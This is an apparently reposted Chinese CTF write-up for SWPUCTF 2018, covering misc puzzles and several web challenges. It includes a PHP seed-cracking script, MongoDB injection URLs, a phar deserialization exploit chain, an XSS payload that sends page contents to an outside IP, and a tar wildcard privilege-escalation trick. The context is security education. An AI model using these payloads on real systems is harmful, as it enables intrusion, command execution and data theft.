热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

SWPUCTF2018WEB&MISCWriteUp

说好的这个月不打CTF的,结果又真香了。MISC签到题改一下图片高度。flag:flag{b2b85ec7ec8cc4771b8d055aee5f82b0}唯有低头,才能出头给了一行字符串:99 9

说好的这个月不打CTF的,结果又真香了。

MISC



签到题

改一下图片高度。

图片.png

图片.png

flag:flag{b2b85ec7ec8cc4771b8d055aee5f82b0}


唯有低头,才能出头

给了一行字符串:99 9 9 88 11 5 5 66 3 88 3 6 555 9 11 4 33

根据题目意思应该是键盘密码,数字的重复次数代表第几行。99代表9下面第二行的L,9代表9下面第一行的o,以此类推。

图片.png

flag:swpuctf{lookatthekeyboard}


流量签到

记事本打开,搜索flag。

图片.png

flag:SWPUCTF{Th1s_i3_e4sy_pc@p}

 

WEB



用优惠码买个X?

hint:flag在/flag中

注册登陆会弹出一个15位的优惠码

图片.png

输入优惠码购买会提示:此优惠码已失效! 请重新输入24位长的优惠码,由此来完成您的购买!

扫目录扫到www.zip,只给了一个source.php

//生成优惠码
$_SESSION['seed']=rand(0,999999999);
function youhuima(){
mt_srand($_SESSION['seed']);
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$auth='';
$len=15;
for ( $i = 0; $i <$len; $i++ ){
if($i<=($len/2))
$auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
else
$auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
}
setCOOKIE('Auth', $auth);
}
//support
if (preg_match("/^d+.d+.d+.d+$/im",$ip)){
if (!preg_match("/?|flag|}|cat|echo|*/i",$ip)){
//执行命令
}else {
//flag字段和某些字符被过滤!
}
}else{
// 你的输入不正确!
}
?>

mt_srand()函数的随机数种子由rand(0,999999999)生成。然后用mt_rand(0,61)生成随机数来随机截取字符串$str_rand中的一个字符。因此我们只要得到mt_srand()函数的播种种子的值,就可以预测出24位的优惠码。

这里可以参考wonderkun师傅的文章:php的随机数的安全性分析

我们可以根据最终得到的字符串来反推出mt_rand()函数生成的15个随机数值,然后爆破出种子即可。

这里用到了爆破种子的c语言程序php_mt_seed:http://www.openwall.com/php_mt_seed/

然后用wonderkun师傅的脚本得到15个随机数并整理成该爆破程序所需要的格式

因为我用15个爆破不出来,这里我只生成了前面的一部分随机数,不过并不会影响结果。

$str = "z9uDXeHLCJ7LqRq";
$randStr = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$len=15;
for($i=0;$i<$len;$i++){
if($i<=($len/2))
{
$pos = strpos($randStr,$str[$i]);
echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)." ";
}
//整理成方便 php_mt_seed 测试的格式
//php_mt_seed VALUE_OR_MATCH_MIN [MATCH_MAX [RANGE_MIN RANGE_MAX]]
}
echo "n";
?>

生成的值:

25 25 0 61 35 35 0 61 20 20 0 61 39 39 0 61 59 59 0 61 4 4 0 61 43 43 0 61 47 47 0 61

用php_mt_seed爆破出来一个种子

图片.png

然后把源码改成生成24位的

//生成优惠码
function youhuima(){
mt_srand(104038799);
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$auth='';
$len=24;
for ( $i = 0; $i <$len; $i++ ){
if($i<=($len/2))
$auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
else
$auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
}
echo $auth;
}
youhuima();

这里注意,通过题目的响应包我发现题目环境为7.2的,所以这里需要用php7运行这段代码,生成24位优惠码。

图片.png

图片.png

接下来就是RCE绕过,利用%0a绕过$。

图片.png


Injection???

这道题的验证码是真的恶心。

根据提示的info.php页面,看到php的mongodb扩展,并没有mysql扩展。所以猜测应该是mongodb注入。

图片.png

尝试admin,admin登陆。弹出username or password incorrect!,所以可以知道用户名是admin。

构造check.php?username=admin&password[$ne]=admin

图片.png

应该是注入成功,但是返回了所有密码,并不能绕过登陆。但是这里可以用正则[$regex]盲注密码。

例如check.php?username=admin&password[$regex]=^a返回

图片.png

而check.php?username=admin&password[$regex]=^s返回

图片.png

说明存在s开头的密码,然后继续盲注即可,最后试出来密码为skmun。登陆即可获得flag。

图片.png

flag:swpuctf{1ts_N05ql_Inj3ction}


SimplePHP

提示 flag is in f1ag.php

file.php?file=可以任意文件读取。上传不存在绕过,主要看file.php和class.php。

file.php

header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "

There is no file to show!

";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn't exists.');
}
?>

这里用了file_exists($file)判断文件是否存在,能够触发phar反序列化。

class.php

class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
echo $this->source;
}
public function __toString()
{
$cOntent= $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|..|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|../i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

_show方法把f1agWAF掉了所以我们不能直接去读flag。

但是Test类的get方法能够获取一个参数做为文件名,然后调用file_get方法返回文件内容的base64值。而且__get魔术方法调用了get方法。我们可以想办法触发__get魔术方法。

图片.png

Show类的__toString魔术方法调用了未知对象的source属性,而对象str[‘str’]我们可控,因此我们可以传入Test对象去调用不存在的source属性来触发__get方法。

图片.png

而C1e4r类的__destruct()方法可以用来触发Show类的__toString方法

图片.png

最终的exp

class C1e4r{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$a = new Test();
$a->params = [
'source' => '/var/www/html/f1ag.php'
];
$b = new Show();
$b->str['str'] = $a;
$c = new C1e4r();
$c->str = $b;
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("");
$phar->setMetadata($c); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
copy('phar.phar','exp.gif');
?>

上传的最终文件路径为upload/md5(文件名+ip).jpg

图片.png

触发反序列化

图片.png

图片.png

flag:SWPUCTF{Php_un$eri4liz3_1s_Fu^!}


有趣的邮箱注册

访问admin.php会显示只有localhost才能访问,估计是要用xss来进行ssrf。

源码中发现check.php部分代码

if($_POST['email']) {
$email = $_POST['email'];
if(!filter_var($email,FILTER_VALIDATE_EMAIL)){
echo "error email, please check your email";
}else{
echo "等待管理员自动审核";
echo $email;
}
}
?>

可以看到利用了FILTER_VALIDATE_EMAIL过滤器来过滤注册的邮箱,是不安全的。

可以参考p神师傅的文章:https://www.leavesongs.com/PENETRATION/some-tricks-of-attacking-lnmp-web-application.html

邮箱地址分为local part和domain part两部分,local part中可以利用双引号来包含特殊字符。如””@example.com是合法的

所以我们可以构造”

构造

xmlhttp=new XMLHttpRequest();
xmlhttp.Onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://47.106.142.99:8012/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","a0a.php?cmd=ls /",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send();

图片.png

但是读取flag会发现返回为空,执行ls -al /发现flag文件属于flag用户,且其他用户无法读取。

图片.png

通过ls我们发现了一个MD5名字的目录,ls一下发现有upload.php,并且属于flag用户。

图片.png

访问页面,给了一个上传功能,一个备份功能。发现可以任意文件上传,上传php但是不可访问。备份点开可以发现是使用tar命令就行备份。

图片.png

shadow爷爷告诉我这里可以利用tar命令进行提权。参考:利用通配符进行Linux本地提权

其实就是把文件名当作命令参数给执行了。

将反弹shell的命令写入shell.sh,并上传。再接着上传两个文件–checkpoint-action=exec=sh shell.sh和–checkpoint=1,然后点击备份即可反弹shell。但是一直不能成功,按理说是没问题的,问了题目客服,他也说没问题。这就很迷了23333。

最后把shell.sh内容改成

cat /flag|base64

可以直接读取flag。

图片.png

图片.png


皇家线上赌场

登陆查看源码可以看到提示以及/static?file=test.js弹出的xss,访问一下source可以看到一个目录树和views.py中的任意文件读取。

图片.png

但是限制了..,我们只能用绝对路径去读取源码。

图片.png

通过读取/proc/self/mounts可以看到一个/home/ctf/web_assli3fasdf路径,但是里面读取不到views.py的内容。

图片.png

shadow爷爷告诉我/proc/self/cwd/app/views.py可以读

图片.png

def register_views(app):
@app.before_request
def reset_account():
if request.path == '/signup' or request.path == '/login':
return
uname = username=session.get('username')
u = User.query.filter_by(username=uname).first()
if u:
g.u = u
g.flag = 'swpuctf{xxxxxxxxxxxxxx}'
if uname == 'admin':
return
now = int(time())
if (now - u.ts >= 600):
u.balance = 10000
u.count = 0
u.ts = now
u.save()
session['balance'] = 10000
session['count'] = 0
@app.route('/getflag', methods=('POST',))
@login_required
def getflag():
u = getattr(g, 'u')
if not u or u.balance <1000000:
return '{"s": -1, "msg": "error"}'
field = request.form.get('field', 'username')
mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
return jdata.format(field, g.u, mhash)

还有一个__init__.py

from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from .views import register_views
from .models import db
def create_app():
app = Flask(__name__, static_folder='')
app.secret_key = '9f516783b42730b7888008dd5c15fe66'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db'
register_views(app)
db.init_app(app)
return app

可以看到给了secret_key,可以用来伪造session。

解密题目session

图片.png

本地搭建环境使用secret_key伪造session,并把用户名改为admin来跳过balance的重置,访问getflag路由。

图片.png

然后使用User的save方法跳出g.u获取flag。

图片.png

 

后记

web题质量都挺不错的,把我打自闭了,出题和运维的师傅们辛苦了,orz~。


推荐阅读
  • Java序列化对象传给PHP的方法及原理解析
    本文介绍了Java序列化对象传给PHP的方法及原理,包括Java对象传递的方式、序列化的方式、PHP中的序列化用法介绍、Java是否能反序列化PHP的数据、Java序列化的原理以及解决Java序列化中的问题。同时还解释了序列化的概念和作用,以及代码执行序列化所需要的权限。最后指出,序列化会将对象实例的所有字段都进行序列化,使得数据能够被表示为实例的序列化数据,但只有能够解释该格式的代码才能够确定数据的内容。 ... [详细]
  • RouterOS 5.16软路由安装图解教程
    本文介绍了如何安装RouterOS 5.16软路由系统,包括系统要求、安装步骤和登录方式。同时提供了详细的图解教程,方便读者进行操作。 ... [详细]
  • 【爬虫】关于企业信用信息公示系统加速乐最新反爬虫机制
    ( ̄▽ ̄)~又得半夜修仙了,作为一个爬虫小白,花了3天时间写好的程序,才跑了一个月目标网站就更新了,是有点悲催,还是要只有一天的时间重构。升级后网站的层次结构并没有太多变化,表面上 ... [详细]
  • 本文介绍了如何使用php限制数据库插入的条数并显示每次插入数据库之间的数据数目,以及避免重复提交的方法。同时还介绍了如何限制某一个数据库用户的并发连接数,以及设置数据库的连接数和连接超时时间的方法。最后提供了一些关于浏览器在线用户数和数据库连接数量比例的参考值。 ... [详细]
  • 如何使用Java获取服务器硬件信息和磁盘负载率
    本文介绍了使用Java编程语言获取服务器硬件信息和磁盘负载率的方法。首先在远程服务器上搭建一个支持服务端语言的HTTP服务,并获取服务器的磁盘信息,并将结果输出。然后在本地使用JS编写一个AJAX脚本,远程请求服务端的程序,得到结果并展示给用户。其中还介绍了如何提取硬盘序列号的方法。 ... [详细]
  • 单页面应用 VS 多页面应用的区别和适用场景
    本文主要介绍了单页面应用(SPA)和多页面应用(MPA)的区别和适用场景。单页面应用只有一个主页面,所有内容都包含在主页面中,页面切换快但需要做相关的调优;多页面应用有多个独立的页面,每个页面都要加载相关资源,页面切换慢但适用于对SEO要求较高的应用。文章还提到了两者在资源加载、过渡动画、路由模式和数据传递方面的差异。 ... [详细]
  • .NetCoreWebApi生成Swagger接口文档的使用方法
    本文介绍了使用.NetCoreWebApi生成Swagger接口文档的方法,并详细说明了Swagger的定义和功能。通过使用Swagger,可以实现接口和服务的可视化,方便测试人员进行接口测试。同时,还提供了Github链接和具体的步骤,包括创建WebApi工程、引入swagger的包、配置XML文档文件和跨域处理。通过本文,读者可以了解到如何使用Swagger生成接口文档,并加深对Swagger的理解。 ... [详细]
  • 本文介绍了一个Magento模块,其主要功能是实现前台用户利用表单给管理员发送邮件。通过阅读该模块的代码,可以了解到一些有关Magento的细节,例如如何获取系统标签id、如何使用Magento默认的提示信息以及如何使用smtp服务等。文章还提到了安装SMTP Pro插件的方法,并给出了前台页面的代码示例。 ... [详细]
  • 1.Listener是Servlet的监听器,它可以监听客户端的请求、服务端的操作等。通过监听器,可以自动激发一些操作,比如监听在线的用户的数量。当增加一个HttpSession时 ... [详细]
  • 渗透测试基础bypass绕过阻挡我们的WAF(下)
    渗透测试基础-bypass ... [详细]
  • 第一种&amp;amp;lt;script&amp;amp;gt;$(&amp;quot;.eq&amp;quot;).on(&amp;qu ... [详细]
  • springboot基于redis配置session共享项目环境配置pom.xml引入依赖application.properties配置Cookie序列化(高版本不需要)测试启 ... [详细]
  • 本文介绍了如何使用PHP向系统日历中添加事件的方法,通过使用PHP技术可以实现自动添加事件的功能,从而实现全局通知系统和迅速记录工具的自动化。同时还提到了系统exchange自带的日历具有同步感的特点,以及使用web技术实现自动添加事件的优势。 ... [详细]
  • javascript  – 概述在Firefox上无法正常工作
    我试图提出一些自定义大纲,以达到一些Web可访问性建议.但我不能用Firefox制作.这就是它在Chrome上的外观:而那个图标实际上是一个锚点.在Firefox上,它只概述了整个 ... [详细]
  • 如何提高PHP编程技能及推荐高级教程
    本文介绍了如何提高PHP编程技能的方法,推荐了一些高级教程。学习任何一种编程语言都需要长期的坚持和不懈的努力,本文提醒读者要有足够的耐心和时间投入。通过实践操作学习,可以更好地理解和掌握PHP语言的特异性,特别是单引号和双引号的用法。同时,本文也指出了只走马观花看整体而不深入学习的学习方式无法真正掌握这门语言,建议读者要从整体来考虑局部,培养大局观。最后,本文提醒读者完成一个像模像样的网站需要付出更多的努力和实践。 ... [详细]
author-avatar
男孩形式恋人
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有